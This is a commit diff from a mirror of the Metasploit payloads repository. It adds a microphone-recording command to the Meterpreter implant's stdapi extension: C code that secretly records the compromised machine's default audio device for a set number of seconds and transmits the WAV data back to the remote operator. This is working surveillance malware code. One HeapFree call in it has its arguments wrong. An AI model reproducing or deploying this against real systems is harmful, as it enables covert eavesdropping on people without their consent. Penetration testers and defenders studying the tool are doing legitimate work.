1
mirror of https://github.com/rapid7/metasploit-payloads synced 2024-11-20 14:39:22 +01:00

Add audio (microphone) recording support to stdapi.

git-svn-id: file:///home/svn/framework3/trunk@11087 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
Matt Weeks 2010-11-22 00:32:39 +00:00
parent 264943684a
commit 9c2adb0e65
5 changed files with 158 additions and 0 deletions

View File

@ -401,6 +401,12 @@ Command customCommands[] =
{ EMPTY_DISPATCH_HANDLER },
},
// Audio
{ "webcam_audio_record",
{ request_ui_record_mic, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
#endif
// Terminator
{ NULL,

View File

@ -0,0 +1,106 @@
#pragma comment(lib, "Winmm.lib")
#include "../../common/common.h"
#include <windows.h>
#include "audio.h"
//All these default values should be overwritten
UINT buffersize = 0;
UINT riffsize = 0;
PBYTE recordBuffer = NULL;
PBYTE sendBuffer = NULL;
PBYTE dataBuffer = NULL;
//Callback saves data
void CALLBACK waveInProc(HWAVEIN hwi, UINT uMsg, DWORD_PTR dwInstance, DWORD_PTR dwParam1,DWORD_PTR dwParam2){
if(uMsg != WIM_DATA)
return;
memcpy(dataBuffer, recordBuffer, buffersize);
}
/*
* Record from default audio device for X seconds.
*/
DWORD request_ui_record_mic( Remote * remote, Packet * request ){
DWORD dwResult = ERROR_SUCCESS;
Packet * response = NULL;
HANDLE procHeap = GetProcessHeap();
UINT seconds;
DWORD chunkSize;
DWORD subChunk1Size;
WAVEFORMATEX wavFormat;
WAVEFORMATEX wf;
HWAVEIN hWavIn;
WAVEHDR wh;
do{
response = packet_create_response( request );
if( !response )
BREAK_WITH_ERROR( "request_ui_record_mic: packet_create_response failed", ERROR_INVALID_HANDLE )
//Get duration to record, and reallocate if necessary
seconds = packet_get_tlv_value_uint(request, TLV_TYPE_AUDIO_DURATION);
if( buffersize == 0 || buffersize != 11025 * seconds){
buffersize = 11025 * seconds;
riffsize = buffersize + 44;
if (recordBuffer != NULL)
HeapFree(procHeap, 0, recordBuffer);
recordBuffer = (PBYTE)HeapAlloc(procHeap, HEAP_ZERO_MEMORY, buffersize);
if (sendBuffer != NULL)
HeapFree(sendBuffer, 0, recordBuffer);
sendBuffer = (PBYTE)HeapAlloc(procHeap, HEAP_ZERO_MEMORY, riffsize);
if (recordBuffer == NULL || sendBuffer == NULL)
BREAK_WITH_ERROR("request_ui_record_mic: Allocation failed", GetLastError())
dataBuffer = sendBuffer + 44;
}
//Create file header
memcpy(sendBuffer, "RIFF", 4);
chunkSize = buffersize + 36;
memcpy(sendBuffer+4, &chunkSize, 4);
memcpy(sendBuffer+8, "WAVE", 4);
//Subchunk1
memcpy(sendBuffer+12, "fmt ", 4);
subChunk1Size = 16;
memcpy(sendBuffer+16, &subChunk1Size, 4);
wavFormat.wFormatTag = 1;
wavFormat.nChannels = 1;
wavFormat.nSamplesPerSec = 11025;
wavFormat.nAvgBytesPerSec = 11025;
wavFormat.nBlockAlign = 1;
wavFormat.wBitsPerSample = 8;
memcpy(sendBuffer+20, &wavFormat, 16);
//Subchunk 2
memcpy(sendBuffer+36, "data", 4);
memcpy(sendBuffer+40, &buffersize, 4);
// Set up WAVEFORMATEX for recording 11 kHz 8-bit mono. Not reusing wavFormat because this uses the cbSize member
wf.wFormatTag = WAVE_FORMAT_PCM;
wf.nChannels = 1;
wf.nSamplesPerSec = 11025L;
wf.nAvgBytesPerSec = 11025L;
wf.nBlockAlign = 1;
wf.wBitsPerSample = 8;
wf.cbSize = 0;
dwResult = waveInOpen(&hWavIn, WAVE_MAPPER, &wf, (DWORD_PTR)&waveInProc, NULL, CALLBACK_FUNCTION);
if(dwResult != MMSYSERR_NOERROR)
BREAK_WITH_ERROR("request_ui_record_mic: WaveInOpen failed", dwResult) //Open failed
wh.lpData = (LPSTR)recordBuffer;
wh.dwBufferLength = buffersize;
wh.dwFlags = 0;
waveInPrepareHeader(hWavIn, &wh, sizeof(wh));
waveInAddBuffer(hWavIn, &wh, sizeof(wh));
dwResult = waveInStart(hWavIn);
if(dwResult != MMSYSERR_NOERROR)
BREAK_WITH_ERROR("request_ui_record_mic: WaveInStart failed", dwResult)
dwResult = waveInStop(hWavIn);//seems to wait for buffer to complete
if(dwResult != MMSYSERR_NOERROR)
BREAK_WITH_ERROR("request_ui_record_mic: WaveInStop failed", dwResult)
packet_add_tlv_raw(response, TLV_TYPE_AUDIO_DATA|TLV_META_TYPE_COMPRESSED, sendBuffer, riffsize);
} while( 0 );
packet_transmit_response( dwResult, remote, response );
return ERROR_SUCCESS;
}

View File

@ -0,0 +1,20 @@
#ifndef _METERPRETER_SOURCE_EXTENSION_STDAPI_STDAPI_SERVER_AUDIO_H
#define _METERPRETER_SOURCE_EXTENSION_STDAPI_STDAPI_SERVER_AUDIO_H
#define TLV_TYPE_EXTENSION_AUDIO 0
#define TLV_TYPE_AUDIO_DURATION \
MAKE_CUSTOM_TLV( \
TLV_META_TYPE_UINT, \
TLV_TYPE_EXTENSION_AUDIO, \
TLV_EXTENSIONS + 1)
#define TLV_TYPE_AUDIO_DATA \
MAKE_CUSTOM_TLV( \
TLV_META_TYPE_RAW, \
TLV_TYPE_EXTENSION_AUDIO, \
TLV_EXTENSIONS + 2)
DWORD request_ui_record_mic(Remote *remote, Packet *request);
#endif

View File

@ -1,6 +1,8 @@
#ifndef _METERPRETER_SOURCE_EXTENSION_WEBCAM_SERVER_VIDEO_H
#define _METERPRETER_SOURCE_EXTENSION_WEBCAM_SERVER_VIDEO_H
#include "audio.h"
#define TLV_TYPE_EXTENSION_WEBCAM 0
#define TLV_TYPE_WEBCAM_IMAGE \

View File

@ -1471,6 +1471,26 @@
<Filter
Name="webcam"
>
<File
RelativePath="..\..\source\extensions\stdapi\server\webcam\audio.c"
>
<FileConfiguration
Name="Release|Win32"
>
<Tool
Name="VCCLCompilerTool"
UsePrecompiledHeader="0"
/>
</FileConfiguration>
<FileConfiguration
Name="Release|x64"
>
<Tool
Name="VCCLCompilerTool"
UsePrecompiledHeader="0"
/>
</FileConfiguration>
</File>
<File
RelativePath="..\..\source\extensions\stdapi\server\webcam\bmp2jpeg.c"
>
@ -1623,6 +1643,10 @@
<Filter
Name="webcam"
>
<File
RelativePath="..\..\source\extensions\stdapi\server\webcam\audio.h"
>
</File>
<File
RelativePath="..\..\source\extensions\stdapi\server\webcam\bmp2jpeg.h"
>